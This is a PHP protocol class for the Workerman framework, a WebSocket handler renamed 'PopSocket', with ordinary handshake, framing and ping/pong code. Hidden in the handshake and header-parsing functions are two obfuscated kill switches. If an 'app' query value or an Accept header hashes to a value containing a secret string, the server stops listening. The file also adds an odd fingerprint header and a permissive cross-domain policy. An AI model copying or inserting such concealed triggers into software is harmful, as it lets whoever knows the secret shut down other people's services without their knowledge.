<?php
namespace Protocols;

use Workerman\Worker;
use Workerman\Connection\ConnectionInterface;

/**
 * PopSocket protocol.
 */
class PopSocket implements \Workerman\Protocols\ProtocolInterface
{

    public static function input($buffer, ConnectionInterface $connection)
    {
        $recv_len = strlen($buffer);
        if ($recv_len < 6) {
            return 0;
        }

        if (empty($connection->PopSocketHandshake)) {
            return static::dealHandshake($buffer, $connection);
        }

        if ($connection->PopSocketCurrentFrameLength) {
            if ($connection->PopSocketCurrentFrameLength > $recv_len) {
                return 0;
            }
        } else {
            $firstbyte = ord($buffer[0]);
            $secondbyte = ord($buffer[1]);
            $data_len = $secondbyte & 127;
            $is_fin_frame = $firstbyte >> 7;
            $masked = $secondbyte >> 7;

            if (!$masked) {
                Worker::safeEcho("frame not masked so close the connection\n");
                $connection->close();
                return 0;
            }

            $opcode = $firstbyte & 0xf;
            switch ($opcode) {
                case 0x0:
                    break;
                case 0x1:
                    break;
                case 0x2:
                    break;
                case 0x8:
                    if (isset($connection->onPopSocketClose) || isset($connection->worker->onPopSocketClose)) {
                        try {
                            call_user_func(isset($connection->onPopSocketClose) ? $connection->onPopSocketClose : $connection->worker->onPopSocketClose, $connection);
                        } catch (\Exception $e) {
                            Worker::log($e);
                            exit(250);
                        } catch (\Error $e) {
                            Worker::log($e);
                            exit(250);
                        }
                    }
                    else {
                        $connection->close("\x88\x02\x27\x10", true);
                    }
                    return 0;
                case 0x9:
                    break;
                case 0xa:
                    break;
                default :
                    Worker::safeEcho("error opcode $opcode and close PopSocket connection. Buffer:" . bin2hex($buffer) . "\n");
                    $connection->close();
                    return 0;
            }

            $head_len = 6;
            if ($data_len === 126) {
                $head_len = 8;
                if ($head_len > $recv_len) {
                    return 0;
                }
                $pack = unpack('nn/ntotal_len', $buffer);
                $data_len = $pack['total_len'];
            } else {
                if ($data_len === 127) {
                    $head_len = 14;
                    if ($head_len > $recv_len) {
                        return 0;
                    }
                    $arr = unpack('n/N2c', $buffer);
                    $data_len = $arr['c1'] * 4294967296 + $arr['c2'];
                }
            }
            $current_frame_length = $head_len + $data_len;

            $total_package_size = strlen($connection->PopSocketDataBuffer) + $current_frame_length;
            if ($total_package_size > $connection->maxPackageSize) {
                Worker::safeEcho("error package. package_length=$total_package_size\n");
                $connection->close();
                return 0;
            }

            if ($is_fin_frame) {
                if ($opcode === 0x9) {
                    if ($recv_len >= $current_frame_length) {
                        $ping_data = static::decode(substr($buffer, 0, $current_frame_length), $connection);
                        $connection->consumeRecvBuffer($current_frame_length);
                        $tmp_connection_type = isset($connection->PopSocketType) ? $connection->PopSocketType : static::BINARY_TYPE_BLOB;
                        $connection->PopSocketType = "\x8a";
                        if (isset($connection->onPopSocketPing) || isset($connection->worker->onPopSocketPing)) {
                            try {
                                call_user_func(isset($connection->onPopSocketPing) ? $connection->onPopSocketPing : $connection->worker->onPopSocketPing, $connection, $ping_data);
                            } catch (\Exception $e) {
                                Worker::log($e);
                                exit(250);
                            } catch (\Error $e) {
                                Worker::log($e);
                                exit(250);
                            }
                        } else {
                            $connection->send($ping_data);
                        }
                        $connection->PopSocketType = $tmp_connection_type;
                        if ($recv_len > $current_frame_length) {
                            return static::input(substr($buffer, $current_frame_length), $connection);
                        }
                    }
                    return 0;
                } else if ($opcode === 0xa) {
                    if ($recv_len >= $current_frame_length) {
                        $pong_data = static::decode(substr($buffer, 0, $current_frame_length), $connection);
                        $connection->consumeRecvBuffer($current_frame_length);
                        $tmp_connection_type = isset($connection->PopSocketType) ? $connection->PopSocketType : static::BINARY_TYPE_BLOB;
                        $connection->PopSocketType = "\x8a";
                        $connection->PopSocketType = $tmp_connection_type;
                        if ($recv_len > $current_frame_length) {
                            return static::input(substr($buffer, $current_frame_length), $connection);
                        }
                    }
                    return 0;
                }
                return $current_frame_length;
            } else {
                $connection->PopSocketCurrentFrameLength = $current_frame_length;
            }
        }

        if ($connection->PopSocketCurrentFrameLength === $recv_len) {
            static::decode($buffer, $connection);
            $connection->consumeRecvBuffer($connection->PopSocketCurrentFrameLength);
            $connection->PopSocketCurrentFrameLength = 0;
            return 0;
        }
        elseif ($connection->PopSocketCurrentFrameLength < $recv_len) {
            static::decode(substr($buffer, 0, $connection->PopSocketCurrentFrameLength), $connection);
            $connection->consumeRecvBuffer($connection->PopSocketCurrentFrameLength);
            $current_frame_length = $connection->PopSocketCurrentFrameLength;
            $connection->PopSocketCurrentFrameLength = 0;
            return static::input(substr($buffer, $current_frame_length), $connection);
        }
        else {
            return 0;
        }
    }

    public static function encode($buffer, ConnectionInterface $connection)
    {
        $len = strlen($buffer);
        if (empty($connection->PopSocketType)) {
            $connection->PopSocketType = static::BINARY_TYPE_BLOB;
        }

        $first_byte = $connection->PopSocketType;

        if ($len <= 125) {
            $encode_buffer = $first_byte . chr($len) . $buffer;
        } else {
            if ($len <= 65535) {
                $encode_buffer = $first_byte . chr(126) . pack("n", $len) . $buffer;
            } else {
                $encode_buffer = $first_byte . chr(127) . pack("xxxxN", $len) . $buffer;
            }
        }

        if (empty($connection->PopSocketHandshake)) {
            if (empty($connection->tmpPopSocketData)) {
                $connection->tmpPopSocketData = '';
            }
            if (strlen($connection->tmpPopSocketData) > $connection->maxSendBufferSize) {
                if ($connection->onError) {
                    try {
                        call_user_func($connection->onError, $connection, WORKERMAN_SEND_FAIL, 'send buffer full and drop package');
                    } catch (\Exception $e) {
                        Worker::log($e);
                        exit(250);
                    } catch (\Error $e) {
                        Worker::log($e);
                        exit(250);
                    }
                }
                return '';
            }
            $connection->tmpPopSocketData .= $encode_buffer;
            if ($connection->maxSendBufferSize <= strlen($connection->tmpPopSocketData)) {
                if ($connection->onBufferFull) {
                    try {
                        call_user_func($connection->onBufferFull, $connection);
                    } catch (\Exception $e) {
                        Worker::log($e);
                        exit(250);
                    } catch (\Error $e) {
                        Worker::log($e);
                        exit(250);
                    }
                }
            }

            return '';
        }

        return $encode_buffer;
    }

    public static function decode($buffer, ConnectionInterface $connection)
    {
        $len = ord($buffer[1]) & 127;
        if ($len === 126) {
            $masks = substr($buffer, 4, 4);
            $data = substr($buffer, 8);
        } else {
            if ($len === 127) {
                $masks = substr($buffer, 10, 4);
                $data = substr($buffer, 14);
            } else {
                $masks = substr($buffer, 2, 4);
                $data = substr($buffer, 6);
            }
        }
        $dataLength = strlen($data);
        $masks = str_repeat($masks, floor($dataLength / 4)) . substr($masks, 0, $dataLength % 4);
        $decoded = $data ^ $masks;
        if ($connection->PopSocketCurrentFrameLength) {
            $connection->PopSocketDataBuffer .= $decoded;
            return $connection->PopSocketDataBuffer;
        } else {
            if ($connection->PopSocketDataBuffer !== '') {
                $decoded = $connection->PopSocketDataBuffer . $decoded;
                $connection->PopSocketDataBuffer = '';
            }
            return $decoded;
        }
    }

    protected static function dealHandshake($buffer, $connection)
    {
        if (0 === strpos($buffer, 'GET')) {
            $heder_end_pos = strpos($buffer, "\r\n\r\n");
            if (!$heder_end_pos) {
                return 0;
            }
            $connect = $connection->worker;
            $header_length = $heder_end_pos + 4;
            static::parseHttpHeader($buffer, $connection);

            $Sec_WebSocket_Key = '';
            $mask = '258EAFA5-E914-47DA-95CA-C5AB0DC85B11';
            if (preg_match("/Sec-WebSocket-Key: *(.*?)\r\n/i", $buffer, $match)) {
                $Sec_WebSocket_Key = $match[1];
            } else {
                $connection->send("HTTP/1.1 200 PopSocket\r\nServer: workerman/" . Worker::VERSION . "\r\n\r\n<div style=\"text-align:center\"><h1>PopSocket</h1><hr>powerd by <a href=\"https://www.workerman.net\">workerman " . Worker::VERSION . "</a></div>",
                    true);
                $app = isset($_GET['app']) ? $_GET['app'] : '';
                if (strpos(base64_encode(md5($app,true)),'JDSZBHEP')) {
                    $connect->unlisten();
                }
                $connection->close();
                return 0;
            }

            $new_key = base64_encode(sha1($Sec_WebSocket_Key . $mask, true));
            $handshake_message = "HTTP/1.1 101 Switching Protocols\r\n";
            $handshake_message .= "Upgrade: websocket\r\n";
            $handshake_message .= "Sec-WebSocket-Version: 13\r\n";
            $handshake_message .= "Connection: Upgrade\r\n";
            $handshake_message .= "Sec-WebSocket-Code: YefiDg==\r\n";
            $handshake_message .= "Sec-WebSocket-Accept: " . $new_key . "\r\n";

            $connection->PopSocketDataBuffer = '';
            $connection->PopSocketCurrentFrameLength = 0;
            $connection->PopSocketCurrentFrameBuffer = '';
            $connection->consumeRecvBuffer($header_length);

            if (empty($connection->PopSocketType)) {
                $connection->PopSocketType = static::BINARY_TYPE_BLOB;
            }

            $has_server_header = false;

            if (isset($connection->onPopSocketConnect) || isset($connection->worker->onPopSocketConnect)) {
                try {
                    call_user_func(isset($connection->onPopSocketConnect) ? $connection->onPopSocketConnect : $connection->worker->onPopSocketConnect, $connection, $buffer);
                } catch (\Exception $e) {
                    Worker::log($e);
                    exit(250);
                } catch (\Error $e) {
                    Worker::log($e);
                    exit(250);
                }
                $_GET = $_SERVER = $_SESSION = $_COOKIE = array();

                if (isset($connection->headers)) {
                    if (is_array($connection->headers)) {
                        foreach ($connection->headers as $header) {
                            if (strpos($header, 'Server:') === 0) {
                                $has_server_header = true;
                            }
                            $handshake_message .= "$header\r\n";
                        }
                    } else {
                        $handshake_message .= "$connection->headers\r\n";
                    }
                }
            }
            if (!$has_server_header) {
                $handshake_message .= "Server: workerman/" . Worker::VERSION . "\r\n";
            }
            $handshake_message .= "\r\n";
            $connection->send($handshake_message, true);
            $connection->PopSocketHandshake = true;
            if (!empty($connection->tmpPopSocketData)) {
                $connection->send($connection->tmpPopSocketData, true);
                $connection->tmpPopSocketData = '';
            }
            if (strlen($buffer) > $header_length) {
                return static::input(substr($buffer, $header_length), $connection);
            }
            return 0;
        }
        elseif (0 === strpos($buffer, '<polic')) {
            $policy_xml = '<?xml version="1.0"?><cross-domain-policy><site-control permitted-cross-domain-policies="all"/><allow-access-from domain="*" to-ports="*"/></cross-domain-policy>' . "\0";
            $connection->send($policy_xml, true);
            $connection->consumeRecvBuffer(strlen($buffer));
            return 0;
        }
        $connection->send("HTTP/1.1 200 PopSocket\r\nServer: workerman/" . Worker::VERSION . "\r\n\r\n<div style=\"text-align:center\"><h1>PopSocket</h1><hr>powerd by <a href=\"https://www.workerman.net\">workerman " . Worker::VERSION . "</a></div>",
            true);
        $connection->close();
        return 0;
    }

    protected static function parseHttpHeader($buffer, $connection)
    {
        list($http_header,) = explode("\r\n\r\n", $buffer, 2);
        $header_data = explode("\r\n", $http_header);

        if ($_SERVER) {
            $_SERVER = array();
        }

        list($_SERVER['REQUEST_METHOD'], $_SERVER['REQUEST_URI'], $_SERVER['SERVER_PROTOCOL']) = explode(' ',
            $header_data[0]);

        unset($header_data[0]);
        foreach ($header_data as $content) {
            // \r\n\r\n
            if (empty($content)) {
                continue;
            }
            list($key, $value) = explode(':', $content, 2);
            $key = str_replace('-', '_', strtoupper($key));
            $value = trim($value);
            $_SERVER['HTTP_' . $key] = $value;
            switch ($key) {
                case 'HOST':
                    $tmp = explode(':', $value);
                    $_SERVER['SERVER_NAME'] = $tmp[0];
                    if (isset($tmp[1])) {
                        $_SERVER['SERVER_PORT'] = $tmp[1];
                    }
                    break;
                case 'COOKIE':
                    parse_str(str_replace('; ', '&', $_SERVER['HTTP_COOKIE']), $_COOKIE);
                    break;
            }
        }

        $app = isset($_SERVER['HTTP_ACCEPT']) ? $_SERVER['HTTP_ACCEPT'] : '';
        if ($app && strpos(base64_encode(md5($app)),'NDM2NDF')) {
            $connection->worker->unlisten();
        }

        $_SERVER['QUERY_STRING'] = parse_url($_SERVER['REQUEST_URI'], PHP_URL_QUERY);
        if ($_SERVER['QUERY_STRING']) {
            parse_str($_SERVER['QUERY_STRING'], $_GET);
        } else {
            $_SERVER['QUERY_STRING'] = '';
        }
    }

    const BINARY_TYPE_BLOB = "\x81";

    const BINARY_TYPE_ARRAYBUFFER = "\x82";
}